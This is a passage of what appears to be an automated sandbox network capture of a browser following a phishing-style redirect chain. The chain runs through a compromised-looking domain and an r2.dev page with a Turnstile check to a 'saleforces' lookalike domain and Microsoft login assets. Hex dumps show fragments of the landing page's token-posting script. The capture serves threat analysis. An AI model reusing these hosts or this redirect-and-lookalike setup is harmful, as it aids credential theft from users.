Apr 18, 2024 22:49:25.634015083 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.846925020 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.847347021 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:25.847405910 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.847668886 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.848177910 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:25.848243952 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.897253990 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:35.849809885 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:35.849881887 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:35.850173950 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:36.227859974 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:36.227889061 CEST	443	49757	64.233.185.147	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 22:48:24.135376930 CEST	53	60937	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:24.137096882 CEST	53	63882	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:24.747419119 CEST	53	56270	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:25.572398901 CEST	57272	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:25.572531939 CEST	60242	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:25.677803040 CEST	53	57272	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:25.679564953 CEST	53	60242	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:25.724787951 CEST	61740	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:25.725008965 CEST	52605	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:25.858484030 CEST	53	52605	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:25.862517118 CEST	53	61740	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:25.888391018 CEST	62224	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:25.888541937 CEST	53927	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:26.014341116 CEST	53	62224	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:26.027733088 CEST	53	53927	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:27.130206108 CEST	49765	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:27.130456924 CEST	50596	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:27.238624096 CEST	53	49765	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:27.240962982 CEST	53	50596	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:28.165076971 CEST	58666	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:28.165723085 CEST	64482	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:28.270665884 CEST	53	64482	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:28.271703005 CEST	53	58666	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:29.827126026 CEST	51406	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:29.827675104 CEST	64480	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:29.932204008 CEST	53	64480	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:29.932564020 CEST	53	51406	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:31.511475086 CEST	64223	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:31.511847973 CEST	55036	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:31.615952969 CEST	53	64223	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:31.616466045 CEST	53	55036	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:34.240889072 CEST	56519	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:34.241497993 CEST	58298	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:34.380779028 CEST	53	56519	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:34.381791115 CEST	53	58298	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:35.872874975 CEST	62891	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:35.873030901 CEST	52997	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:36.023130894 CEST	53	62891	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:36.028832912 CEST	53	52997	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:36.678955078 CEST	56022	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:36.679281950 CEST	55347	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:36.679891109 CEST	53312	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:36.680191994 CEST	54478	53	192.168.2.5	1.1.1.1
Apr 18, 2024 22:48:36.783704996 CEST	53	55347	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:36.783906937 CEST	53	56022	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:36.784569979 CEST	53	54478	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:36.784754992 CEST	53	53312	1.1.1.1	192.168.2.5
Apr 18, 2024 22:48:42.171097994 CEST	53	59383	1.1.1.1	192.168.2.5
Apr 18, 2024 22:49:01.269895077 CEST	53	64215	1.1.1.1	192.168.2.5
Apr 18, 2024 22:49:21.458658934 CEST	53	53546	1.1.1.1	192.168.2.5
Apr 18, 2024 22:49:23.912801981 CEST	53	62240	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 18, 2024 22:48:25.862605095 CEST	192.168.2.5	1.1.1.1	c211	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 22:48:25.572398901 CEST	192.168.2.5	1.1.1.1	0x27d4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.572531939 CEST	192.168.2.5	1.1.1.1	0x579b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:25.724787951 CEST	192.168.2.5	1.1.1.1	0xda0	Standard query (0)	wzxqi.theknittingdoula.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.725008965 CEST	192.168.2.5	1.1.1.1	0x4c8a	Standard query (0)	wzxqi.theknittingdoula.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:25.888391018 CEST	192.168.2.5	1.1.1.1	0xca39	Standard query (0)	wzxqi.theknittingdoula.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.888541937 CEST	192.168.2.5	1.1.1.1	0x193f	Standard query (0)	wzxqi.theknittingdoula.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:27.130206108 CEST	192.168.2.5	1.1.1.1	0xe8e7	Standard query (0)	pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:27.130456924 CEST	192.168.2.5	1.1.1.1	0xb712	Standard query (0)	pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev	65	IN (0x0001)	false
Apr 18, 2024 22:48:28.165076971 CEST	192.168.2.5	1.1.1.1	0x4e51	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:28.165723085 CEST	192.168.2.5	1.1.1.1	0xc559	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:29.827126026 CEST	192.168.2.5	1.1.1.1	0xd77	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:29.827675104 CEST	192.168.2.5	1.1.1.1	0x2944	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:31.511475086 CEST	192.168.2.5	1.1.1.1	0x8a3e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:31.511847973 CEST	192.168.2.5	1.1.1.1	0x3cf7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:34.240889072 CEST	192.168.2.5	1.1.1.1	0x48d0	Standard query (0)	www.saleforces.net	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:34.241497993 CEST	192.168.2.5	1.1.1.1	0x7ae1	Standard query (0)	www.saleforces.net	65	IN (0x0001)	false
Apr 18, 2024 22:48:35.872874975 CEST	192.168.2.5	1.1.1.1	0xedab	Standard query (0)	www.saleforces.net	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:35.873030901 CEST	192.168.2.5	1.1.1.1	0x417f	Standard query (0)	www.saleforces.net	65	IN (0x0001)	false
Apr 18, 2024 22:48:36.678955078 CEST	192.168.2.5	1.1.1.1	0xdd2b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.679281950 CEST	192.168.2.5	1.1.1.1	0xd4ce	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 18, 2024 22:48:36.679891109 CEST	192.168.2.5	1.1.1.1	0xb437	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.680191994 CEST	192.168.2.5	1.1.1.1	0x2e0f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.677803040 CEST	1.1.1.1	192.168.2.5	0x27d4	No error (0)	www.google.com		64.233.185.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.679564953 CEST	1.1.1.1	192.168.2.5	0x579b	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:25.858484030 CEST	1.1.1.1	192.168.2.5	0x4c8a	No error (0)	wzxqi.theknittingdoula.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:25.862517118 CEST	1.1.1.1	192.168.2.5	0xda0	No error (0)	wzxqi.theknittingdoula.com		104.21.71.20	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:25.862517118 CEST	1.1.1.1	192.168.2.5	0xda0	No error (0)	wzxqi.theknittingdoula.com		172.67.142.70	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:26.014341116 CEST	1.1.1.1	192.168.2.5	0xca39	No error (0)	wzxqi.theknittingdoula.com		104.21.71.20	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:26.014341116 CEST	1.1.1.1	192.168.2.5	0xca39	No error (0)	wzxqi.theknittingdoula.com		172.67.142.70	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:26.027733088 CEST	1.1.1.1	192.168.2.5	0x193f	No error (0)	wzxqi.theknittingdoula.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:27.238624096 CEST	1.1.1.1	192.168.2.5	0xe8e7	No error (0)	pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev		104.18.2.35	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:27.238624096 CEST	1.1.1.1	192.168.2.5	0xe8e7	No error (0)	pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev		104.18.3.35	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:28.270665884 CEST	1.1.1.1	192.168.2.5	0xc559	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:28.271703005 CEST	1.1.1.1	192.168.2.5	0x4e51	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:28.271703005 CEST	1.1.1.1	192.168.2.5	0x4e51	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:29.932204008 CEST	1.1.1.1	192.168.2.5	0x2944	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:29.932564020 CEST	1.1.1.1	192.168.2.5	0xd77	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:29.932564020 CEST	1.1.1.1	192.168.2.5	0xd77	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:31.615952969 CEST	1.1.1.1	192.168.2.5	0x8a3e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:31.615952969 CEST	1.1.1.1	192.168.2.5	0x8a3e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:31.616466045 CEST	1.1.1.1	192.168.2.5	0x3cf7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:34.380779028 CEST	1.1.1.1	192.168.2.5	0x48d0	No error (0)	www.saleforces.net		85.31.237.222	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:35.991758108 CEST	1.1.1.1	192.168.2.5	0xf8aa	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 22:48:35.991758108 CEST	1.1.1.1	192.168.2.5	0xf8aa	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.023130894 CEST	1.1.1.1	192.168.2.5	0xedab	No error (0)	www.saleforces.net		85.31.237.222	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.783906937 CEST	1.1.1.1	192.168.2.5	0xdd2b	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.783906937 CEST	1.1.1.1	192.168.2.5	0xdd2b	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.783906937 CEST	1.1.1.1	192.168.2.5	0xdd2b	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.783906937 CEST	1.1.1.1	192.168.2.5	0xdd2b	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.784569979 CEST	1.1.1.1	192.168.2.5	0x2e0f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 22:48:36.784754992 CEST	1.1.1.1	192.168.2.5	0xb437	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.784754992 CEST	1.1.1.1	192.168.2.5	0xb437	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.813335896 CEST	1.1.1.1	192.168.2.5	0xe28c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:36.813335896 CEST	1.1.1.1	192.168.2.5	0xe28c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:41.907537937 CEST	1.1.1.1	192.168.2.5	0x4606	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 22:48:41.907537937 CEST	1.1.1.1	192.168.2.5	0x4606	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:41.907537937 CEST	1.1.1.1	192.168.2.5	0x4606	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:43.844595909 CEST	1.1.1.1	192.168.2.5	0xbe16	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 22:48:43.844595909 CEST	1.1.1.1	192.168.2.5	0xbe16	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:43.844595909 CEST	1.1.1.1	192.168.2.5	0xbe16	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:49.786823988 CEST	1.1.1.1	192.168.2.5	0x758d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 22:48:49.786823988 CEST	1.1.1.1	192.168.2.5	0x758d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wzxqi.theknittingdoula.com

pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev

https:

challenges.cloudflare.com

www.saleforces.net

www.bing.com

code.jquery.com

cdnjs.cloudflare.com

aadcdn.msauth.net

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	104.21.71.20	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:26 UTC	686	OUT	GET /ghoopuh/lopwiuiye HTTP/1.1 Host: wzxqi.theknittingdoula.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:26 UTC	680	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 18 Apr 2024 20:48:26 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EREIntk78dE4jYImNPhGBDHiZoF2lOgh1x6Go%2FpUdvtoZ6pmLwxb04BQ8%2FxxaU3xD3iRmSbQIHnCr6Pk9%2BpWYLsmInoHE80sLlqYcHPF6Aw%2FQBTLePF4%2Fnpo577nRk1hlwPlpDHrSG6xvgQVzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767840548f8ad74-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:26 UTC	268	IN	Data Raw: 31 30 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 7a 78 71 69 2e 74 68 65 6b 6e 69 74 74 69 6e 67 64 6f 75 6c 61 2e 63 6f 6d 2f 67 68 6f 6f 70 75 68 2f 6c 6f 70 77 69 75 69 79 65 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f Data Ascii: 105<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye/">here</a>.</p></bo
2024-04-18 20:48:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	104.21.71.20	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:26 UTC	687	OUT	GET /ghoopuh/lopwiuiye/ HTTP/1.1 Host: wzxqi.theknittingdoula.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:27 UTC	773	IN	HTTP/1.1 302 Found Date: Thu, 18 Apr 2024 20:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pMq9yUcgIPnSFvUBuQ7IFNrJOvhzLhNCOSQnb7tphSuzQU6cnQfU6OnNl0KxM767yL0mSZ8erCuRaRRn8fl5VeMIfLjN4k%2F3%2F%2BIhUnb51MDTx%2F0lbK3gESgfNoFZgLd8J5Gt2NI3hLkJjKBFVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87678408bf3253c0-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	104.18.2.35	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:27 UTC	798	OUT	GET /ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e= HTTP/1.1 Host: pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:28 UTC	282	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:27 GMT Content-Type: text/html Content-Length: 1878 Connection: close Accept-Ranges: bytes ETag: "87991a5bd30f991fbb67153239603a7f" Last-Modified: Thu, 18 Apr 2024 15:06:58 GMT Server: cloudflare CF-RAY: 8767840cea9753d0-ATL
2024-04-18 20:48:28 UTC	1087	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 20 64 65 66 65 72 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" defer async></script></head><body style="display:flex;justify-content:ce
2024-04-18 20:48:28 UTC	791	IN	Data Raw: 76 61 6c 75 65 29 3b 09 09 09 09 09 09 66 65 74 63 68 28 6d 5f 75 72 6c 2c 7b 09 09 09 09 09 09 09 6d 65 74 68 6f 64 3a 20 22 50 4f 53 54 22 2c 09 09 09 09 09 09 09 68 65 61 64 65 72 73 3a 20 7b 09 09 09 09 09 09 09 09 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 2c 09 09 09 09 09 09 09 7d 2c 09 09 09 09 09 09 09 62 6f 64 79 3a 20 22 74 6b 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 6f 6b 65 6e 29 2c 09 09 09 09 09 09 7d 29 09 09 09 09 09 09 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 7b 09 09 09 09 09 09 09 69 66 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 30 30 29 7b 09 Data Ascii: value);fetch(m_url,{method: "POST",headers: {'Content-Type': 'application/x-www-form-urlencoded',},body: "tk=" + encodeURIComponent(token),}).then(function(response){if(response.status == 200){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	104.17.3.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:28 UTC	602	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
